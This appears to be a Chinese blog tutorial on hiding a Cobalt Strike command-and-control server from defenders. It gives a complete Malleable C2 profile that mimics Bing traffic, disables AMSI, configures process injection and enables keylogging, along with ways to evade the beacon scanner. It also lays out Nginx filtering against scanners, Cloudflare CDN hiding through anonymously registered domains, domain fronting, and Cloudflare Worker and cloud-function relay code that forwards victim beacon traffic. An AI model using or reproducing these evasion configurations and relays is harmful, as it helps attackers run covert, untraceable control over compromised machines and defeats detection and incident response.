# 在暗影中潜行 - CS 服务器隐匿 (一)
# 前言
Cobalt Strike 是一款渗透测试神器,常被业界人称为 CS(项目官网:https://www.cobaltstrike.com )。这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike 还可以调用 Mimikatz 等其他知名工具,因此广受黑客喜爱。
但是现在 Cobalt Strike 的默认特征已经被各大厂商标记,很容易就会被安全设备发现 ban 掉 IP。如果密码简单的话,甚至可以通过爆破密码来进行反制。
暴力破解 CobaltStrike 的 teamserver 密码脚本项目地址:
https://github.com/shanfenglan/bruteforce_cs_pwd
为了防止被别人轻易溯源到我们,我们就需要修改 Cobalt Strike 的特征并隐藏服务器地址(本文版本为 Cobalt Strike 4.2)。
# 修改 Cobalt Strike 特征
# 修改 teamserver 默认端口
编辑文件 teamserver,进行修改;
其位于文件的最后一段,将 - Dcobaltstrike.server_port = 改为自己想设置的端口,我这里设置为 43961。
也可以通过启动时指定服务端口来修改端口
# 修改 CobaltStrike 证书
CobaltStrike 的默认证书有三个:
・cobaltstrike.store 证书:用于服务端和客户端加密通讯
・proxy.store 证书:用于浏览器代理也就是 browserpivot 功能
・ssl.store 证书:如果你没有配置 https-certificate 选项,并且使用的是 https 监听器那么 CobaltStrike 默认就会使用这个证书
其中 cobaltstrike.store 证书和 ssl.store 证书比较敏感,特征也早已被各大厂商标记,建议自己生成替代不要使用其默认证书。我们可以使用 keytool 来管理或生成证书。keytool 是一个 Java 数据证书的管理工具,keytool 将密钥(key)和证书(certificates)存在一个称为 keystore 的文件中(即.store 后缀文件)
在 keystore 里,包含两种数据:
・密钥实体(Key entity)—— 密钥(secret key)又或者是私钥和配对公钥(采用非对称加密)
・可信任的证书实体(trusted certificate entries)—— 只包含公钥
使用 keytool 查看默认证书(密钥库密码默认为 123456)。
keytool -list -v -keystore 证书名.store
使用 Keytool 来生成证书
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 别名 -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)"
-例如:
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias zbc.com -dname "CN=ZhongGuo, OU=WuHu, O=wuhuqifei, L=BeiJing, S=ChaoYang, C=CN"
# 绕过 CS 信标扫描器 CobaltStrikeScan
CobaltStrikeScan 用于扫描具有 Cobalt Strike 信标的文件或进程内存并解析其配置。
CobaltStrikeScan 项目地址:https://github.com/Apr4h/CobaltStrikeScan
未经过处理的 Cobalt Strike 进程会被扫描器扫描出:
可以通过在 C2 配置文件中将 cleanup 选项打开(set cleanup “ture”;)来绕过;
例如:
对此配置文件下的 Cobalt Strike 进程进行扫描,扫描器就扫不出来了。
# 设置 Malleable-C2-Profiles 配置文件
目前大部分流量审计软件都能识别检测出 Cobalt Strike 的默认通信流量,为应对其检测 Cobalt Strike 开发团队设置了 Malleable-C2-Profiles 配置文件,让用户自定义设置客户端和服务端双向通信的流量格式以及软件的配置,以此来绕过流量审计,让通讯更加隐蔽还可以控制 Beacon 的一些默认行为。
Cobalt Strike 官网的 Malleable-C2-Profiles 配置文件编写指南 https://www.cobaltstrike.com/help-malleable-c2
服务端加载 Malleable-C2-Profiles 命令
./teamserver [IP] [密码] [/路径/配置文件.profile]
可以从 GitHub 上 Git 别人写好的 Malleable-C2-Profiles 配置文件来使用
例如:
https://github.com/xx0hcd/Malleable-C2-Profiles/tree/master/normal
https://github.com/threatexpress/malleable-c2
但是最好还是自己去改写 Malleable-C2-Profile 配置文件,例如:
# author:Energetic Bear / Crouching Yeti / Dragonfly / ExterminateDog
# file: C2test.profile
# last time: 2021/09/24 13:26
#替代默认ssl.store证书,自签ssl证书
https-certificate {
# 使用真实有效的SSL证书则只需用keystore和password
# set keystore "密钥库文件";
# set password "密码库文件密码"
set CN "www.bing.com";
set O "Microsoft Corporation";
set C "US";
set L "Redmond";
set OU "Microsoft IT";
set ST "WA";
set validity "365";
}
# 表明这是默认的 Beacon 配置文件
set sample_name "ExterminateDog";
# 设置睡眠时间为 60000 (默认为 60 秒)
set sleeptime "30000";
# 默认回连的抖动因子 0-99% [随机化回调时间]
set jitter "0";
set dns_idle "8.8.8.8";
# 在 DNS A 记录请求中发送的最大字节数,可以使 DNS Beacon 发送数据看起来比较正常
set maxdns "235";
# 设置每次发送请求的用户代理UA
set useragent "Mozilla/5.0 (Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
set pipename "mypipe-f##";
set pipename_stager "mypipe-h##";
# 控制Beacon DLL如何加载到内存中并编辑Beacon DLL的内容
stage {
# 要求 Beacon 尝试释放与初始化它的反射 DLL 包关联的内存
set cleanup "true";
set checksum "0";
set entry_point "134733";
set image_size_x86 "512000";
set image_size_x64 "512000";
set name "Gtmdusa.dll";
set rich_header "/x63/x02/x25/x0f/x27/x63/x4b/x5c/x27/x63/x4b/x5c/x27/x63/x4b/x5c/x9a/x2c/xdd/x5c/x24/x63/x4b/x5c/x2e/x1b/xde/x5c/x3b/x63/x4b/x5c/x2e/x1b/xcf/x5c/x1b/x63/x4b/x5c/x2e/x1b/xc8/x5c/x8f/x63/x4b/x5c/x00/xa5/x30/x5c/x28/x63/x4b/x5c/x27/x63/x4a/x5c/x97/x63/x4b/x5c/x2e/x1b/xc1/x5c/x60/x63/x4b/x5c/x2e/x1b/xd9/x5c/x26/x63/x4b/x5c/x39/x31/xdf/x5c/x26/x63/x4b/x5c/x2e/x1b/xda/x5c/x26/x63/x4b/x5c/x52/x69/x63/x68/x27/x63/x4b/x5c/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00";
# 内存中轻微混淆Beacon DLL
set stomppe "false";
# make these things havex-ish
transform-x86 {
strrep "ReflectiveLoader" "RunDllEntry";
strrep "sos.dll" "";
}
transform-x64 {
strrep "ReflectiveLoader" "RunDllEntry";
strrep "sos.x64.dll" "";
}
# strings gathered from Yara rules and sandbox string dumps
stringw "%s <%s> (Type=%i, Access=%i, ID='%s')";
stringw "%02i was terminated by ThreadManager(2)/n";
stringw "main sort initialise ..../../../../img/n";
stringw "qsort [0x%x, 0x%x] done %d this %d/n";
stringw "{0x%08x, 0x%08x}";
stringw "Programm was started at %02i:%02i:%02i/n";
stringw "a+";
stringw "%02i:%02i:%02i.%04i:";
stringw "**************************************************************************/n";
stringw "Start finging of LAN hosts..../../../../img/n";
stringw "Finding was fault. Unexpective error/n";
stringw "Hosts was't found../../../../img/n";
stringw "/t/t/t/t/t%O2i) [%s]/n";
stringw "Start finging of OPC Servers...";
stringw "Was found %i OPC Servers.";
stringw "/t/t%i) [%s//%s]/n/t/t/tCLSID: %s/n";
stringw "/t/t/tUserType: %s/n/t/t/tVerIndProgID: %s/n";
stringw "OPC Servers not found. Programm finished";
stringw "Start finging of OPC Tags...";
stringw "[-]Threads number > Hosts number";
stringw "[-]Can not get local ip";
stringw "[!]Start";
stringw "[+]Get WSADATA";
stringw "[+]Local:";
stringw "[-]Connection error";
stringw "Was found %i hosts in LAN:";
stringw "%s[%s]!!!EXEPTION %i!!!";
stringw "final combined CRC = 0x%08x";
}
# 为HTTP GET定义指标,仅对通信过程中的GET请求有效
http-get {
# Beacon将从这个URI池中随机选择一个作为通信时使用的URL(如果提供了多个URI)
set uri "/search/";
# 客户端响应规则
client {
#使用header设置http响应头字段
header "Host" "www.bing.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "MUID=20798CDBA7526BE709939C67A67C6ABD; _EDGE_S=F=1&SID=0D72DD12F8986C1D3C96CDAEF9B66D85; _EDGE_V=1; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=4E021D8EBD484402BBD21AE8C3DB5A41&dmnchg=1;";
# base64 编码会话元数据并将其存储在Cookie标头中
metadata {
base64url;
# 将数据存储在指定的URL参数q中
parameter "q";
}
parameter "go" "Search";
parameter "qs" "bs";
parameter "form" "QBRE";
}
# 服务端响应规则
server {
# 服务端应该发送没有更改的输出
header "Server" "Microsoft-IIS/8.5";
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Keep-Alive" "timeout=3, max=100";
header "Connection" "close";
header "Vary" "Accept-Encoding";
# 通过output代码块设置返回数据的编码规则
output {
base64;
prepend "<!DOCTYPE html><html lang=/"en/" xml:lang=/"en/" xmlns=/"http://www.w3.org/1999/xhtml/" xmlns:Web=/"http://schemas.live.com/Web//"><script type=/"text/javascript/">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=/"text/html; charset=utf-8/" http-equiv=/"content-type/" /><link href=/"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE/" rel=/"alternate/" title=/"XML/" type=/"text/xml/" /><link href=/"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE/" rel=/"alternate/" title=/"RSS/" type=/"application/rss+xml/" /><link href=/"/sa/simg/bing_p_rr_teal_min.ico/" rel=/"shortcut icon/" /><script type=/"text/javascript/">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:/"en-US/",RTL:false,Ver:/"53/",IG:/"4C1158CCBAFC4896AD78ED0FF0F4A1B2/",EventID:/"E37FA2E804B54C71B3E275E9589590F8/",MN:/"SERP/",V:/"web/",P:/"SERP/",DA:/"CO4/",SUIH:/"OBJhNcrOC72Z3mr21coFQw/",gpUrl:/"/fd/ls/GLinkPing.aspx?/" }; _G.lsUrl=/"/fd/ls/l?IG=/"+_G.IG ;curUrl=/"http://www.bing.com/search/";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+/"IG=/"+_G.IG+/"&/"+a;}return true;};//]]></script><style type=/"text/css/">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
# output代码块需要一个关键字来表示编码规则终止,使用print表示直接输出放到body中
print;
}
}
}
# 为HTTP POST定义指标,仅对通信过程中的POST请求有效
http-post {
# 同上,Beacon会从这个URI池中随机选择一个作为通信时使用的URL(如果提供了多个URI)
set uri "/Search/";
client {
header "Host" "www.bing.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "MUID=20798CDBA7526BE709939C67A67C6ABD; _EDGE_S=F=1&SID=0D72DD12F8986C1D3C96CDAEF9B66D85; _EDGE_V=1; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=4E021D8EBD484402BBD21AE8C3DB5A41&dmnchg=1;";
# 将我们的会话标识符传输为 /search?q=[identifier]
# 任务id由此代码块控制
id {
base64url;
parameter "form";
}
parameter "go" "Search";
parameter "qs" "bs";
# 在没有实际更改的情况下POST我们的输出
output {
# 变异Base64编码
base64url;
# 将数据存储在指定的URL参数q中
parameter "q";
}
}
# 服务端对 HTTP POST 的响应
server {
header "Cache-Control" "no-cache";
header "Keep-Alive" "timeout=3, max=100";
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
output {
netbios;
base64;
prepend "<!DOCTYPE html><html lang=/"en/" xml:lang=/"en/" xmlns=/"http://www.w3.org/1999/xhtml/" xmlns:Web=/"http://schemas.live.com/Web//"><script type=/"text/javascript/">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=/"text/html; charset=utf-8/" http-equiv=/"content-type/" /><link href=/"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE/" rel=/"alternate/" title=/"XML/" type=/"text/xml/" /><link href=/"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE/" rel=/"alternate/" title=/"RSS/" type=/"application/rss+xml/" /><link href=/"/sa/simg/bing_p_rr_teal_min.ico/" rel=/"shortcut icon/" /><script type=/"text/javascript/">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:/"en-US/",RTL:false,Ver:/"53/",IG:/"4C1158CCBAFC4896AD78ED0FF0F4A1B2/",EventID:/"E37FA2E804B54C71B3E275E9589590F8/",MN:/"SERP/",V:/"web/",P:/"SERP/",DA:/"CO4/",SUIH:/"OBJhNcrOC72Z3mr21coFQw/",gpUrl:/"/fd/ls/GLinkPing.aspx?/" }; _G.lsUrl=/"/fd/ls/l?IG=/"+_G.IG ;curUrl=/"http://www.bing.com/search/";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+/"IG=/"+_G.IG+/"&/"+a;}return true;};//]]></script><style type=/"text/css/">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}
# 此代码块用来控制stage(Beacon核心代码)发送过程
http-stager {
set uri_x86 "/rpc";
set uri_x64 "/Rpc";
client {
header "Accept" "*/*";
}
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
}
}
# 此代码块可对进程注入相关的内容进行配置,控制注入相关的行为
process-inject {
# CreateRemoteThread;
# 在远程进程中分配内存的首选方法
set allocator "NtMapViewOfSection";
# 请求注入内容的最小内容量
set min_alloc "16700";
# 使用RWX作为注入内容的最终权限 替代方案是RX
set userwx "false";
# 使用RWX作为注入内容的初始权限 替代方案是RW
set startrwx "true";
# 向Beacon注入的内容里添加东西
transform-x86 {
# prepend "/x90/x90/x90";
}
transform-x64 {
# prepend "/x90/x90/x90";
}
# 此代码块控制Beacon在进程注入时要使用的方法
execute {
#CreateThread;
#CreateRemoteThread;
CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";
SetThreadContext;
NtQueueApcThread-s;
#NtQueueApcThread;
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
RtlCreateUserThread;
}
}
# 此代码块控制了Cobalt Strike的后渗透任务的具体内容和行为。
post-ex {
# 控制后渗透功能生成的临时进程
set spawnto_x86 "%windir%//syswow64//gpupdate.exe";
set spawnto_x64 "%windir%//sysnative//gpupdate.exe";
# 混淆post-ex DLL内容
set obfuscate "true";
# 指示Beacon将关键函数指针(如GetProcAddress和LoadLibrary)嵌入到同架构的post-ex DLL中
set smartinject "true";
# 选项指示powerpick、execute-assembly和psinject在加载.NET或PowerShell代码之前-
# -对AmsiScanBuffer函数进行修补。(限制反恶意软件扫描接口)
set amsi_disable "true";
# 允许多线程的post-ex DLL使用线程地址欺骗
set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
# 更改通信时使用的命名管道的名字
set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";
# Cobalt Strike的键盘记录器使用的函数
set keylogger "SetWindowsHookEx";
}
改写完的配置文件,可以通过 CS 自带 c2lint 来测试配置文件是否存在错误
# Nginx 反向代理
如果在 Cobalt Strike 的 Malleable-C2-Profiles 配置文件中没有自定义 http-stager 的 uri。一般可以通过访问默认的 uri 就能获取到 cs 的 shellcode。加密 shellcode 的密钥又是固定的 (3.x 版本为 0x69,4.x 版本为 0x2e),所以能从 shellcode 中解出 c2 域名等配置信息。
利用 Nmap 和 grab_beacon_config 扫描出的监听器信息。
为了隐藏这个特征有两种方法:一种是修改源码加密的密钥;一种是限制端口的访问来防止扫描器的扫描,这里我们使用第二种方法通过 Nginx 反向代理来限制端口的访问。
配置 Nginx 配置文件,设置仅允许指定的请求头来访问监听端口。需要根据 profile 配置文件中的设置来进行配置。
例如:
location ~*/Search {
if ( $http_user_agent != "Mozilla/5.0 (Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko")
{
return 404;
}
proxy_pass http://127.0.0.1:9527;
}
保存后 Nginx 重新加载配置或重启
设置防火墙,仅允许 127.0.0.1 访问 9527 端口
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 9527 -j ACCEPT
iptables -A INPUT -p tcp --dport 9527 -j DROP
设置监听(其中 https port (bind) 设置为反代的 IP),生成程序并执行
上线成功,但是外部 IP 显示的是 127.0.0.1,需要修改配置文件来获取其真实 IP
在 Nginx 配置文件中设置源 IP 获取
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
在 profile 配置文件中设置真实 IP 获取
set trust_x_forwarded_for "true";
外部 IP 显示正常
命令执行正常
# 隐藏 Cobalt Strike 服务器
# 利用 CDN 加速隐藏服务器
CDN,即内容分发网络也称内容传送网络。通过 CDN 加速,来实现对外暴露的是 CDN 多节点的公网域名 IP,很难溯源真实后端服务器域名或 IP。
以使用免费 CDN-Cloudflare 为例:https://www.cloudflare.com/zh-cn/
首先绑定 CDN,注册账号后登陆,添加欲与 CS 服务器绑定的域名(可在 https://my.freenom.com/ 使用匿名邮箱,匿名注册域名)
选择使用免费计划
将 CS 服务器 IP 地址添加至记录,以进行 CDN 代理
自动配置选项全部选择关闭
至此,CDN 配置全部完成。
接下来就要配置 HTTPS 证书,进入 CloudFlare 的 SSL/TLS 里的源服务器栏,生成免费的 TLS 证书
将上面的原证书和私钥保存到服务器上,并使用 OpenSSL 和 keytool 生成 store 证书
openssl pkcs12 -export -in 保存的源证书.pem -inkey 保存的私钥.key -out 输出的p12文件名(自定义).p12 -name 设置别名 -passout pass:设置密码
keytool -importkeystore -deststorepass 设置密码 -destkeypass 设置密码 -destkeystore 设置证书文件名.store -srckeystore 上面自定义的p12文件.p12 -srcstoretype PKCS12 -srcstorepass 上面设置的密码 -alias 设置别名
例如:
openssl pkcs12 -export -in 1.pem -inkey 1.key -out 1.p12 -name e******dog.top -passout pass:123.com
keytool -importkeystore -deststorepass 123.com -destkeypass 123.com -destkeystore 1.store -srckeystore 1.p12 -srcstoretype PKCS12 -srcstorepass 123.com -alias e******dog.top
修改 Malleable-C2-Profiles 配置文件,加入 keystore 证书,例如:
https-certificate {
set keystore "1.store";
set password "123.com";
}
设置 CS 监听尝试能否成功上线
注意:
如果 CS 的服务器是国内服务器且没有进行备案的话,是无法使用 80、8080、443、8443 端口提供服务的;如果服务器是国外服务器的话则无影响。Cloudflare 的代理模式只有部分端口能够使用,使用时要注意端口的设置,否则是监听不到的。
Cloudflare 支持的 HTTP 端口:80、8080、8880、2052、2082、2086、2095
Cloudflare 支持的 HTTPS 端口:443、2053、2083、2087、2096、8443
生成 exe 文件,并执行上线
查看受害主机回接 CS 服务器的 IP 地址为 172.67.204.85,为 CDN 节点的 IP 地址
# 域前置
其在 CDN 加速隐藏 CS 服务器真实 IP 的基础上,进一步隐藏了 CS 服务器的真实域名。通过设置 HOST 来修改 Host 头,让受害主机通过高信誉域名回接 CS 服务器时 CDN 连接真实的 CS 服务器,而不是连接高信誉域名的服务器。
要想实现域前置,首先要得到高信誉域名,可以通过微步等平台查询自己使用的 CDN 上有哪些域名在此解析。
在这里我们以 z****.com 为例,先确定下是否能正常使用
配置 CS Listener,将高信誉域名填入 HTTPS Hosts 和 HTTPS Host (Stager) 中,将 CS 服务器域名填入 HTTPS Host Header 中
生成 bbbbb.exe 文件,并上线
成功上线,利用 Wireshark 抓包
DNS 请求的是 z****.com 域名
# 配置 Cloudflare Worker
在未找到能够使用域前置技术的 CDN 时,也可以使用 Cloudflare Worker 来替代,他能自定义子域,执行无服务器函数,免费额度为 10W 请求 / 天。
创建 Worker
编写 JS 处理并转发请求至我们的 CS 服务器
let upstream = 'https://CS服务器域名'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
设置 CS 监听器
执行上线
通过 Wireshark 抓包,查看流量,目的地址为 Cloudflare Worker 的地址
# 云函数转发
此方法的原理是:受害主机发出的流量通过云函数转发至 C2 服务器,在受害主机上显示连接的地址是云函数的地址,以此来达到隐藏 C2 服务器的目的。
在某云的云函数服务处新建云函数(初次访问需要服务授权)
开始创建云函数,选择自定义创建,函数名称自定义,运行环境的语言选择自己想使用的开发语言,然后点击完成
创建完成后在函数管理中,编辑函数,使其转发请求至 C2 服务器
例如:
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='https://CS服务器的IP或域名(注意:如果域名有CDN加速的话,会导致无法找到服务器)'
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
完成后,部署函数,然后来到 触发管理 来创建触发器
创建触发器中,触发方式选择 API 网关触发,这样就可以通过公网访问这个函数(初次使用需要授予权限),其他的按照下图设置
赋予权限后,就会收到资源包开通成功的通知,免费 1GB 流量、100W 次调用次数。提交后通过点击 API 服务名来进入刚才创建的 API 的管理界面
进入编辑
将路径改为 / ,然后直接点击立即完成 - 发布服务
下图红线圈的内容就是这个云函数的公网访问地址
做到这里云函数的配置基本完成,但是此时尝试上线,大概率会无法上线。这是因为 C2 在运行后会下载配置文件,云函数下载配置文件时如果执行超时时间是默认配置的就会导致超时,从而无法正常执行。需要通过函数管理的函数配置来修改执行超时时间,将时间改的长一些。
设置 CS 监听,这里的监听地址填写为上面的公网访问地址
执行上线,命令正常执行
通过 Wireshark 抓包,查看流量,目的地址为某云云函数的地址